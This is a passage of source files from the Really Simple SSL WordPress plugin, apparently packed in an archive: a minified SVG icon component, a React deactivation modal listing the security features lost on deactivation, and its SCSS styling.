8.836-7.164 16-16 16H255.1c-8.838 0-16-7.164-16-16L239.1 64.13c0-8.836 7.164-16 16-16h128L384 96c0 17.67 14.33 32 32 32h47.1V320zM272 448c0 8.836-7.164 16-16 16H63.1c-8.838 0-16-7.164-16-16L47.98 192.1c0-8.836 7.164-16 16-16H160V128H63.99c-35.35 0-64 28.65-64 64l.0098 256C.002 483.3 28.66 512 64 512h192c35.2 0 64-28.8 64-64v-32h-47.1L272 448z"}))),"info"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M256 512c141.4 0 256-114.6 256-256S397.4 0 256 0S0 114.6 0 256S114.6 512 256 512zM216 336h24V272H216c-13.3 0-24-10.7-24-24s10.7-24 24-24h48c13.3 0 24 10.7 24 24v88h8c13.3 0 24 10.7 24 24s-10.7 24-24 24H216c-13.3 0-24-10.7-24-24s10.7-24 24-24zm40-144c-17.7 0-32-14.3-32-32s14.3-32 32-32s32 14.3 32 32s-14.3 32-32 32z"}))),"info-open"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256s256-114.6 256-256S397.4 0 256 0zM256 464c-114.7 0-208-93.31-208-208S141.3 48 256 48s208 93.31 208 208S370.7 464 256 464zM256 304c13.25 0 24-10.75 24-24v-128C280 138.8 269.3 128 256 128S232 138.8 232 152v128C232 293.3 242.8 304 256 304zM256 337.1c-17.36 0-31.44 14.08-31.44 31.44C224.6 385.9 238.6 400 256 400s31.44-14.08 31.44-31.44C287.4 351.2 273.4 337.1 256 337.1z"}))),"list"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M184.1 38.2c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L39 113c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zm0 160c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L39 273c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zM256 96c0-17.7 14.3-32 32-32H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H288c-17.7 0-32-14.3-32-32zm0 160c0-17.7 14.3-32 32-32H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H288c-17.7 0-32-14.3-32-32zM192 416c0-17.7 14.3-32 32-32H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32zM80 464c-26.5 0-48-21.5-48-48s21.5-48 48-48s48 21.5 48 48s-21.5 48-48 48z"}))),"empty"===r&&(m=(0,c.createElement)("svg",{height:h,width:h,"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 280.8 363.67"})),"external-link"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:h},(0,c.createElement)("path",{fill:n[i],d:"M384 32c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H384zM160 144c-13.3 0-24 10.7-24 24s10.7 24 24 24h94.1L119 327c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l135-135V328c0 13.3 10.7 24 24 24s24-10.7 24-24V168c0-13.3-10.7-24-24-24H160z"}))),"shield"===r&&(m=(0,c.createElement)("svg",{height:h,"aria-hidden":"true",focusable:"false",role:"img",id:"uuid-026a4e87-44db-4336-a398-3c29d25b7317",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 280.8 363.67"},(0,c.createElement)("path",{fill:"#f9c23e",d:"M280.8,62.4L140.5,0,0,62.2V213.3c0,10.7,1.6,21.3,4.9,31.5,9.5,29.9,28.2,52.8,54.4,69.5,26,16.6,52.4,32.4,78.6,48.6,2,1.2,3.4,.9,5.1-.2,19.9-12.3,39.8-24.5,59.6-36.8,12.6-7.8,25.5-15.1,36.5-25.1,26.4-24.2,41.4-53.6,41.5-89.9V62.4h.2Z"}),(0,c.createElement)("g",null,(0,c.createElement)("g",null,(0,c.createElement)("rect",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",x:"155",y:"266.8",width:"77.6",height:"6"}),(0,c.createElement)("path",{fill:"#1d2327",d:"M224.4,204.5h-1.8v-10.1c0-15.9-12.9-28.8-28.8-28.8s-28.8,12.9-28.8,28.8v10.1h-1.8c-4.6,0-8.3,3.7-8.3,8.3v51.3h77.6v-51.3c0-4.6-3.7-8.3-8.3-8.3h.2Zm-45.3-10.1c0-8.1,6.6-14.7,14.7-14.7s14.7,6.6,14.7,14.7v10.1h-29.5v-10.1h.1Zm36.6,32.9l-20.7,20.2c-.2,.2-.3,.4-.5,.6l-2,2c-.2,.2-.4,.4-.6,.5l-3.8,3.8-4.5-4.3-2-2c-.2-.2-.4-.4-.5-.6l-9.1-9.1c-2.4-2.4-2.4-6.4,0-8.8l2-2c2.4-2.4,6.4-2.4,8.8,0l5.3,5.3,16.9-16.4c2.4-2.4,6.4-2.4,8.8,0l2,2c2.4,2.4,2.4,6.4,0,8.8h-.1Z"})),(0,c.createElement)("g",null,(0,c.createElement)("path",{fill:"#1d2327",d:"M125.2,192.3c-.5-2.9-.5-5.8-1-8.6-.5-2.4-2.6-4-4.8-3.9-2.3,0-4.2,1.9-4.7,4.3-.2,1,0,1.9,0,2.9,.8,14.6,7.2,26.3,18.2,35.7,2.2,1.9,4.5,3.5,6.9,4.8v-11.8c-7.4-5.8-12.9-14.1-14.6-23.3v-.1Z"}),(0,c.createElement)("path",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",d:"M96.4,236.1c-13-15-20-32.3-19.5-52.3,.3-13.1,6.1-23.6,16.6-31.2,11.5-8.5,24.5-10.9,38.3-7.1,12.7,3.5,22,10.7,27.4,22,2.1-2.7,4.5-5.2,7.2-7.4-4-7-9.7-12.9-17-17.4-17-10.4-34.9-11.7-52.9-3.1-19,9.1-28.7,24.7-29.3,45.8,0,5.2,.5,10.2,1.4,15.2,3.4,19.4,13.4,35.2,27.2,48.9,1.1,1.1,2.5,1.6,4.1,1.4,1.8-.2,3.2-1.3,3.8-3,.6-1.8,.4-3.6-1-5.1-2.1-2.2-4.2-4.4-6.2-6.7h-.1Z"}),(0,c.createElement)("path",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",d:"M68.1,89.4c1.1-.4,2.1-1,3.1-1.5,17.9-9.1,36.8-12.7,56.8-11.3,12.2,.8,23.9,3.8,35.1,8.7,3,1.3,5.9,2.8,8.9,4.1,2.7,1.1,5.3,0,6.4-2.4,1.1-2.3,0-5-2.3-6.3-11-5.7-22.4-10-34.6-12.3-4.2-.8-8.5-1.1-12.8-1.7h-17.1c-.3,0-.6,.2-.9,.2-11.2,.8-22,3.2-32.5,7.2-4.9,1.9-9.7,4.1-14.3,6.6-2.5,1.3-3.4,4.2-2.2,6.5,1.1,2.2,4,3.2,6.4,2.1v.1Z"}),(0,c.createElement)("path",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",d:"M61.1,153.5c13.6-21.6,33.6-31.5,58.7-32.1h6c.8,0,1.6,.2,2.3,.3,13.4,1.7,25.5,6.6,35.9,15.4,5.8,4.9,10.5,10.3,14.1,16.2,3.1-1.2,6.4-2,9.8-2.5-4.7-8.7-11.3-16.3-19.6-22.7-19-14.6-40.5-19.5-64.1-15.1-14.3,2.7-26.9,9-37.7,18.8-10.4,9.5-17.8,20.9-21.2,34.6-2.8,11.3-2.6,22.7-.9,34.1,1.1,7,2.9,13.9,5.4,20.5,.9,2.3,3,3.7,5.2,3.5,2.1-.2,3.9-2,4.3-4.3,.2-1.1-.2-2.2-.6-3.2-4.3-11.9-6.3-24.1-5.6-36.7,.5-9.6,2.8-18.7,8-26.8h0Z"}),(0,c.createElement)("path",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",d:"M139.8,240.6c-20.9-8.4-34.1-23.7-38.4-46.7-.8-4.3-1.4-8.7-.4-13,1.8-7.1,6.4-11.4,13.4-13.5,11.8-3.4,24.7,5.3,24.5,17.6,0,4.8,1.4,9.3,4,13.4,.3,.5,.6,.9,.9,1.3,1.6-2.4,3.7-4.6,6.1-6.2,0-.9,0-1.9,.2-2.8-.7-1.7-1.1-3.5-1.2-5.3-.3-6.1-1.6-11.9-5.5-16.8-6.8-8.8-15.9-12.4-27-11.5-11.3,.9-21.6,9.6-24.5,20.6-1.8,6.6-.9,13.3,.4,19.8,2.4,12.9,8.2,24,17.1,33.7,8.6,9.4,18.8,15.8,30.6,19.8v-10.4h-.2Z"}),(0,c.createElement)("path",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",d:"M47.5,133.2c6.8-8.8,15-16,24.6-21.6,20.8-12,43.2-15.2,66.6-11,14.8,2.7,28.2,8.7,39.9,18.2,6.3,5,11.6,11,16.4,17.4,1.9,2.5,4.8,2.8,7,1.1,2.1-1.7,2.4-4.5,.6-7-5.9-8.2-12.8-15.3-20.9-21.3-18.3-13.6-39.1-19.6-61.7-20-6.3,0-12.5,.6-18.6,1.6-15.7,2.8-30.1,8.6-42.9,18.1-8.3,6.2-15.5,13.5-21.5,22-1.6,2.3-1.3,5.1,.7,6.7,2.1,1.7,4.9,1.5,6.8-.7,1-1.2,1.9-2.5,2.9-3.7l.1,.2Z"}))))),"file-search"===r&&(m=(0,c.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",height:h,fill:"none",viewBox:"0 0 384 512"},(0,c.createElement)("path",{d:"M374.6 150.6l-141.3-141.3C227.4 3.371 219.2 0 210.7 0H64C28.65 0 0 28.65 0 64l.0065 384c0 35.34 28.65 64 64 64H320c35.35 0 64-28.66 64-64V173.3C384 164.8 380.6 156.6 374.6 150.6zM224 22.63L361.4 160H248C234.8 160 224 149.2 224 136V22.63zM368 448c0 26.47-21.53 48-48 48H64c-26.47 0-48-21.53-48-48V64c0-26.47 21.53-48 48-48h144v120c0 22.06 17.94 40 40 40h120V448zM176 208c-53.02 0-96 42.98-96 96s42.98 96 96 96c23.62 0 44.96-8.859 61.68-23l68.66 68.66C307.9 447.2 309.9 448 312 448s4.094-.7813 5.656-2.344c3.125-3.125 3.125-8.188 0-11.31l-68.66-68.66C263.1 348.1 272 327.6 272 304C272 250.1 229 208 176 208zM176 384C131.9 384 96 348.1 96 304S131.9 224 176 224S256 259.9 256 304S220.1 384 176 384z"}))),"download"===r&&(m=(0,c.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",height:h,fill:"none",viewBox:"0 0 512 512"},(0,c.createElement)("path",{d:"M480 352h-88C387.6 352 384 355.6 384 360s3.582 8 8 8H480c8.822 0 16 7.178 16 16v96c0 8.822-7.178 16-16 16H32c-8.822 0-16-7.178-16-16v-96c0-8.822 7.178-16 16-16h88C124.4 368 128 364.4 128 360S124.4 352 120 352H32c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32v-96C512 366.3 497.7 352 480 352zM464 432c0-17.6-14.4-32-32-32s-32 14.4-32 32c0 17.6 14.4 32 32 32S464 449.6 464 432zM416 432c0-8.822 7.178-16 16-16s16 7.178 16 16S440.8 448 432 448S416 440.8 416 432zM250.3 413.7c3.125 3.125 8.188 3.125 11.31 0l152-152C415.2 260.1 416 258.1 416 256s-.7813-4.094-2.344-5.656c-3.125-3.125-8.188-3.125-11.31 0L264 388.7V8C264 3.594 260.4 0 256 0S248 3.594 248 8v380.7L109.7 250.3c-3.125-3.125-8.188-3.125-11.31 0s-3.125 8.188 0 11.31L250.3 413.7z"}))),"satellite-dish"===r&&(m=(0,c.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",color:n[i],height:h,viewBox:"0 0 512 512"},(0,c.createElement)("path",{d:"M208 0c-8.8 0-16 7.2-16 16s7.2 16 16 16c150.2 0 272 121.8 272 272c0 8.8 7.2 16 16 16s16-7.2 16-16C512 136.1 375.9 0 208 0zm0 96c-8.8 0-16 7.2-16 16s7.2 16 16 16c97.2 0 176 78.8 176 176c0 8.8 7.2 16 16 16s16-7.2 16-16c0-114.9-93.1-208-208-208zM32 304c0-24.5 5-47.7 13.9-68.8L276.8 466.1C255.7 475 232.5 480 208 480c-97.2 0-176-78.8-176-176zm33.5-94.5c-14-14-37.3-12.1-45.7 5.8C7.1 242.2 0 272.3 0 304C0 418.9 93.1 512 208 512c31.7 0 61.8-7.1 88.7-19.8c17.9-8.4 19.8-31.8 5.8-45.7L195.3 339.3l24-24c6.3 3 13.3 4.7 20.7 4.7c26.5 0 48-21.5 48-48s-21.5-48-48-48s-48 21.5-48 48c0 7.4 1.7 14.4 4.7 20.7l-24 24L65.5 209.5zM224 272a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z"}))),"rotate-light"===r&&(m=(0,c.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",color:n[i],height:h,viewBox:"0 0 512 512"},(0,c.createElement)("path",{d:"M426.1 301.2C406.2 376.5 337.6 432 256 432c-51 0-96.9-21.7-129-56.3l41-41c5.1-5.1 8-12.1 8-19.3c0-15.1-12.2-27.3-27.3-27.3H48c-8.8 0-16 7.2-16 16V404.7C32 419.8 44.2 432 59.3 432c7.2 0 14.2-2.9 19.3-8l25.7-25.7C142.3 438.7 196.2 464 256 464c97.4 0 179.2-67 201.8-157.4c2.4-9.7-5.2-18.6-15.2-18.6c-7.8 0-14.5 5.6-16.5 13.2zM385 136.3l-41 41c-5.1 5.1-8 12.1-8 19.3c0 15.1 12.2 27.3 27.3 27.3H464c8.8 0 16-7.2 16-16V107.3C480 92.2 467.8 80 452.7 80c-7.2 0-14.2 2.9-19.3 8l-25.7 25.7C369.7 73.3 315.8 48 256 48C158.6 48 76.8 115 54.2 205.4c-2.4 9.7 5.2 18.6 15.2 18.6c7.8 0 14.5-5.6 16.5-13.2C105.8 135.5 174.4 80 256 80c51 0 96.9 21.7 129.1 56.3zM448 192H374.6L448 118.6V192zM64 320h73.4L64 393.4V320z"}))),"rotate-exclamation-light"===r&&(m=(0,c.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:h},(0,c.createElement)("defs",null,(0,c.createElement)("style",null,`\n            .fa-secondary {\n              opacity: 0.4;\n              color: ${n[i]};\n            }\n          `)),(0,c.createElement)("path",{className:"fa-primary",d:"M280 152c0-13.3-10.7-24-24-24s-24 10.7-24 24V264c0 13.3 10.7 24 24 24s24-10.7 24-24V152zM256 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"}),(0,c.createElement)("path",{className:"fa-secondary",d:"M432 117.4C391 65.4 327.4 32 256 32C158.4 32 75.5 94.4 44.8 181.3c-5.9 16.7 2.8 34.9 19.5 40.8s34.9-2.8 40.8-19.5C127.1 140.5 186.4 96 256 96c52.3 0 98.8 25.1 128 64H352c-17.7 0-32 14.3-32 32s14.3 32 32 32h84.3c.5 0 1 0 1.5 0H464c17.7 0 32-14.3 32-32V80c0-17.7-14.3-32-32-32s-32 14.3-32 32v37.4zm35.2 213.2c5.9-16.7-2.8-34.9-19.5-40.8s-34.9 2.8-40.8 19.5C384.9 371.5 325.6 416 256 416c-52.3 0-98.8-25.1-128-64h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H48c-17.7 0-32 14.3-32 32V432c0 17.7 14.3 32 32 32s32-14.3 32-32V394.6c41 52 104.6 85.4 176 85.4c97.6 0 180.5-62.4 211.2-149.3z"}))),"radar-duotone"===r&&(m=(0,c.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:h},(0,c.createElement)("defs",null,(0,c.createElement)("style",null,`\n            .fa-secondary {\n              color: ${n[i]} !important;\n            }        \n          `)),(0,c.createElement)("path",{className:"fa-primary",d:"M497 49c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-182 182c-7.7-3.3-16.1-5.1-25-5.1c-35.3 0-64 28.7-64 64s28.7 64 64 64s64-28.7 64-64c0-8.9-1.8-17.3-5.1-25L497 49z"}),(0,c.createElement)("path",{className:"fa-secondary",d:"M350.9 127.2l-46.1 46.1c-14.3-8.4-31-13.3-48.8-13.3c-53 0-96 43-96 96s43 96 96 96s96-43 96-96h64c0 73.5-49.6 135.5-117.2 154.2C290.8 394.7 274.7 384 256 384s-34.8 10.7-42.8 26.2c-51.7-14.3-92.8-53.9-109.4-104.6c14.4-8.3 24.1-23.8 24.1-41.7c0-19.4-11.5-36.1-28-43.7C116.2 149.1 179.9 96 256 96c35.5 0 68.3 11.6 94.9 31.2zm22.8-22.8C341.2 79 300.4 64 256 64C163.1 64 85.7 129.9 67.9 217.6C47.2 222.9 32 241.7 32 264c0 23.8 17.3 43.6 40.1 47.4c19.3 64.3 71.5 114.4 137 130.9C213.8 463.8 233 480 256 480s42.2-16.2 46.9-37.8C386.3 421.3 448 345.9 448 256h64c0 141.4-114.6 256-256 256S0 397.4 0 256S114.6 0 256 0c62.1 0 118.9 22.1 163.3 58.8l-45.5 45.5z"}))),"satellite-dish-duotone"===r&&(m=(0,c.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:h},(0,c.createElement)("defs",null,(0,c.createElement)("style",null,`\n            .fa-secondary {\n              color: ${n[i]} !important;\n            }        \n          `)),(0,c.createElement)("path",{className:"fa-primary",d:"M60.6 220.6c-14.5-14.5-38.8-11.8-46.3 7.3C5.1 251.5 0 277.1 0 304C0 418.9 93.1 512 208 512c26.9 0 52.5-5.1 76.1-14.4c19-7.5 21.8-31.8 7.3-46.3L187.3 347.3l28.4-28.4c2.6 .7 5.4 1.1 8.3 1.1c17.7 0 32-14.3 32-32s-14.3-32-32-32s-32 14.3-32 32c0 2.9 .4 5.6 1.1 8.3l-28.4 28.4L60.6 220.6z"}),(0,c.createElement)("path",{className:"fa-secondary",d:"M224 0c-17.7 0-32 14.3-32 32s14.3 32 32 32c123.7 0 224 100.3 224 224c0 17.7 14.3 32 32 32s32-14.3 32-32C512 128.9 383.1 0 224 0zm0 96c-17.7 0-32 14.3-32 32s14.3 32 32 32c70.7 0 128 57.3 128 128c0 17.7 14.3 32 32 32s32-14.3 32-32c0-106-86-192-192-192z"}))),"spinner"===r&&(m=(0,c.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",width:"20",height:"20"},(0,c.createElement)("defs",null,(0,c.createElement)("style",null,"\n                            .fa-secondary {\n                              opacity: 0.4;\n                            }\n                          ")),(0,c.createElement)("path",{className:"fa-primary",d:"M304 48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM96 256A48 48 0 1 0 0 256a48 48 0 1 0 96 0zM75 142.9A48 48 0 1 0 142.9 75 48 48 0 1 0 75 142.9z"}),(0,c.createElement)("path",{className:"fa-secondary",d:"M369.1 75A48 48 0 1 1 437 142.9 48 48 0 1 1 369.1 75zM416 256a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM208 464a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM75 369.1A48 48 0 1 1 142.9 437 48 48 0 1 1 75 369.1zm294.2 0A48 48 0 1 1 437 437a48 48 0 1 1 -67.9-67.9z"}))),(0,c.createElement)("div",{...e,ref:l},m)})),r=({name:e,color:l,size:t,tooltip:r})=>{const i=e||"bullet",h=l||"black";let n=t||15,m=r?"tooltip-":"",o=Math.floor(1e9*Math.random());return r?(0,c.createElement)("div",{className:"rsssl-"+m+"icon rsssl-icon-"+i+" rsssl-"+h},(0,c.createElement)(s,{"data-for":".rsssl-"+o,name:i,color:h,size:n,id:o,className:"rsssl-"+o,"data-tooltip-delay-hide":200}),(0,c.createElement)(a.m_,{style:{zIndex:99},id:o,place:"bottom",anchorSelect:".rsssl-"+o,content:r})):(0,c.createElement)("div",{className:"rsssl-"+m+"icon rsssl-icon-"+i+" rsssl-"+h},(0,c.createElement)(s,{name:i,color:h,size:n}))}}}]);really-simple-ssl/modal/src/index.js000064400000000736147510273070013466 0ustar00import {
    render, createRoot
} from '@wordpress/element';
import DeactivationModal from "./components/DeactivationModal/DeactivationModal";
document.addEventListener( 'DOMContentLoaded', () => {

    const container = document.getElementById( 'rsssl-modal-root' );
    if ( container ) {
        if ( createRoot ) {
            createRoot( container ).render( <DeactivationModal/> );
        } else {
            render( <DeactivationModal/>, container );
        }
    }
});really-simple-ssl/modal/src/components/DeactivationModal/DeactivationModal.js000064400000011375147510273070023523 0ustar00import {__} from "@wordpress/i18n";
import {useEffect, useState} from "@wordpress/element";

const DeactivationModal = () => {

    const [isOpen, setOpen] = useState(false);
    const [RssslModal, setRssslModal] = useState(false);
    const [targetPluginLink, setTargetPluginLink] = useState(null);
    const isPremium = rsssl_modal.pro_plugin_active;

    useEffect(() => {
        // Dynamically set the targetPluginLink based on isPremium
        const linkId = isPremium ? 'deactivate-really-simple-ssl-pro' : 'deactivate-really-simple-ssl';
        const linkElement = document.getElementById(linkId);
        setTargetPluginLink(linkElement);

        const handleClick = (event) => {
            event.preventDefault();
            setOpen(true);
        };

        if (linkElement) {
            linkElement.addEventListener('click', handleClick);
        }

        // Clean up the event listener
        return () => {
            if (linkElement) {
                linkElement.removeEventListener('click', handleClick);
            }
        };
    }, [isPremium]); // Re-run this effect if isPremium changes

    const deactivateKeepHttps = () => {
        setOpen(false);
        window.location.href = rsssl_modal.deactivate_keep_https;
    };

    const deactivateAndRevert = () => {
        setOpen(false);
        if (targetPluginLink) {
            window.location.href = targetPluginLink.getAttribute('href');
        }
    };

    useEffect(() => {
        if (!RssslModal && isOpen) {
            import("../Modal/RssslModal").then(({default: LoadedRssslModal}) => {
                setRssslModal(() => LoadedRssslModal);
            });
        }
    }, [isOpen, RssslModal]);

    const content = () => {
        return (
            <>
                {__("Please choose the correct deactivation method, and before you go; you will miss out on below and future features in Really Simple Security", "really-simple-ssl")}
                {isPremium && <> <b>Pro</b></>}
                !
            </>
        );
    };

    const list = isPremium ? [
            {
                'icon': 'circle-times',
                'color': 'red',
                'text': __("SSL Encryption", "really-simple-ssl"),
            },
            {
                'icon': 'circle-times',
                'color': 'red',
                'text': __("Firewall", "really-simple-ssl"),
            },
            {
                'icon': 'circle-times',
                'color': 'red',
                'text': __("Vulnerability Management", "really-simple-ssl"),
            },
            {
                'icon': 'circle-times',
                'color': 'red',
                'text': __("WordPress Hardening", "really-simple-ssl"),
            },
            {
                'icon': 'circle-times',
                'color': 'red',
                'text': __("Login Protection", "really-simple-ssl"),
            },
            {
                'icon': 'circle-times',
                'color': 'red',
                'text': __("Two-Factor Authentication", "really-simple-ssl"),
            },
            {
                'icon': 'circle-times',
                'color': 'red',
                'text': __("Limit Login Attempts", "really-simple-ssl"),
            },
            {
                'icon': 'circle-times',
                'color': 'red',
                'text': __("Visitor Protection", "really-simple-ssl"),
            },
        ] :
        [
            {
                'icon': 'circle-times',
                'color': 'red',
                'text': __("SSL Encryption", "really-simple-ssl"),
            },
            {
                'icon': 'circle-times',
                'color': 'red',
                'text': __("Vulnerability Management", "really-simple-ssl"),
            },
            {
                'icon': 'circle-times',
                'color': 'red',
                'text': __("WordPress hardening", "really-simple-ssl"),
            },
        ];
    return (
        <>
            {RssslModal && <RssslModal title={__("Are you sure?", "really-simple-ssl")}
                                       confirmText={__("Deactivate", "really-simple-ssl")}
                                       confirmAction={() => deactivateKeepHttps()}
                                       alternativeText={__("Deactivate and use HTTP", "really-simple-ssl")}
                                       alternativeAction={() => deactivateAndRevert()}
                                       alternativeClassName="rsssl-modal-warning"
                                       content={content()}
                                       list={list}
                                       isOpen={isOpen}
                                       setOpen={setOpen}/>
            }
        </>
    );
}
export default DeactivationModal;really-simple-ssl/modal/src/components/Modal/RssslModal.scss000064400000005531147510273070020220 0ustar00@import '../../../../assets/css/variables.scss';
.rsssl-modal {
  overflow: visible;
  width: 700px;
  max-width: 700px;
  //background:var(--rsp-grey-100);
  padding:var(--rsp-spacing-m) var(--rsp-spacing-l);
  box-shadow:var(--rsp-box-shadow);
  border-radius:var(--rsp-border-radius) var(--rsp-border-radius);
  border-top:1px solid var(--rsp-grey-300);
  max-height: calc(100% - 120px); //the default wp modal limits this to minimum 600px, but this creates an ugly modal.
  margin:auto;//the default wp modal limits this to minimum 600px, but this creates an ugly modal.
  @media (max-width: 768px) {
    width: 100%;
  }

  .components-modal__content {
    min-height: 250px;
    //reset default padding so we can add a footer with background
    padding:0;
    margin-top:45px;

    & > div:nth-child(2) {
      display: flex;
      height: 100%;
      flex-direction: column;
    }
  }

  .rsssl-modal-body {
    flex-grow: 1;
    padding: 12px 8px 80px 8px; //80 is for the complete footer height + margin
    @media (max-width: 768px) {
      padding: 12px 8px 180px 8px;

    }
    p {
      margin-top:0;
    }
    ul {
      column-count: 2;
      column-gap: 20px;
      margin-bottom:0;
      li {
        display: flex;
        padding-bottom: 5px;

        .rsssl-icon {
          margin-top: 2px;
          margin-right: 10px;
        }
      }
    }
  }

  .rsssl-modal-footer {
    background-color: var(--rsp-grey-200);
    display: flex;
    justify-content: space-between;
    align-items: center;
    border-top: 1px solid var(--rsp-grey-400);
    padding: 20px 32px;
    //ensure the footer doesn't scroll out of sight on smaller screens.
    bottom: 0;
    position: absolute;
    left: 0;
    right: 0;
    .rsssl-modal-footer-buttons {
      display: flex;
      .rsssl-activate-license-text {
        margin-right: 10px;
        color: var(--rsp-red);
      }
    }
    border-bottom-left-radius: var(--rsp-border-radius) var(--rsp-border-radius);
    border-bottom-right-radius: var(--rsp-border-radius) var(--rsp-border-radius);
    img {
      width: 150px;

    }
    @media (max-width: 768px) {
      .rsssl-modal-footer-image {
        display:none;
      }
      .rsssl-modal-footer-buttons {
        width:100%;
        display:flex;
        flex-direction: column;
        gap: 10px;
        align-items: center;
        button {
          width: 100%;
          margin:0;
        }
      }
    }

    button + button {
      margin-left: 10px;
    }
    button + a {
      margin-left: 10px;
    }

    button {
      &:not(.is-primary) {
        border: 1px solid var(--wp-admin-theme-color, #3858e9);
        color: var(--wp-admin-theme-color, #3858e9);
        background-color: transparent;
      }

      &.rsssl-modal-warning {
        border: 1px solid var(--rsp-red);
        color: var(--rsp-red);
        background-color: transparent;
      }
    }
  }
}

really-simple-ssl/modal/src/components/Modal/RssslModal.js000064400000010734147510273070017662 0ustar00/** @jsx wp.element.createElement */
import { Modal, Button } from "@wordpress/components";
import {useEffect, useState} from "@wordpress/element";
import { __ } from "@wordpress/i18n";
import './RssslModal.scss';
import ErrorBoundary from "../../../../settings/src/utils/ErrorBoundary";
// import useLicense from "../../../../settings/src/Settings/License/LicenseData";

const RssslModal = ({title, subTitle, currentStep, buttons, content, list, confirmAction, confirmText, alternativeAction, alternativeText, alternativeClassName, isOpen, setOpen, className}) => {
    const [Icon, setIcon] = useState(null);
    // const {licenseStatus} = useLicense();

    let pluginUrl = typeof rsssl_modal !== 'undefined' ? rsssl_modal.plugin_url : rsssl_settings.plugin_url;
    alternativeClassName = alternativeClassName ? alternativeClassName : 'rsssl-warning';
    useEffect( () => {
        if (!Icon) {
            import ("../../../../settings/src/utils/Icon").then(({default: Icon}) => {
                setIcon(() => Icon);
            });
        }
    })

    const handleLicenseClick = () => {
        setOpen(false);
    };

    let modalCustomClass = className ? ' '+className : ""
    return (
        <>
            {isOpen && (
                <>
                    <ErrorBoundary fallback={"Error loading modal"}>
                        <Modal
                            className={"rsssl-modal"+modalCustomClass}
                            shouldCloseOnClickOutside={false}
                            shouldCloseOnEsc={false}
                            title={title}
                            onRequestClose={() => setOpen(false)}
                            open={isOpen}>
                            <div className="rsssl-modal-body">
                                {subTitle && (
                                    <p
                                        dangerouslySetInnerHTML={{
                                            __html: subTitle
                                        }}
                                    />
                                )}
                                {content && <>{content}</>}
                                {list && Icon && <ul>
                                    {list.map((item, index) => <li key={index}><Icon name={item.icon} color={item.color}/>{item.text}</li>)}
                                </ul>}
                            </div>
                            <div className="rsssl-modal-footer">
                                <div className="rsssl-modal-footer-image">
                                    <img className="rsssl-logo" src={pluginUrl+"assets/img/really-simple-security-logo.svg"} alt="Really Simple Security" />
                                </div>
                                <div className="rsssl-modal-footer-buttons">
                                    {/*# If is last step of onboarding (pro), and license not valid*/}
                                    {/*{ rsssl_settings.pro_plugin_active && licenseStatus !== 'valid' && currentStep.id === 'pro' && (*/}
                                    {/*    <p className={"rsssl-activate-license-text"}>*/}
                                    {/*        {__("Please", "really-simple-ssl")  + " "}*/}
                                    {/*        <a href="#settings/license" onClick={handleLicenseClick}>*/}
                                    {/*            {__('activate your license key', 'really-simple-ssl')}*/}
                                    {/*        </a>*/}
                                    {/*        {" " + __("to enable Pro features", "really-simple-ssl")}*/}
                                    {/*    </p>*/}
                                    {/*)}*/}
                                    <Button onClick={() => setOpen(false)}>{__("Cancel", "really-simple-ssl")}</Button>
                                    { buttons && <>{buttons}</>}
                                    { !buttons && <>
                                        {alternativeText && <Button className={alternativeClassName} onClick={() => alternativeAction()}>{alternativeText}</Button>}
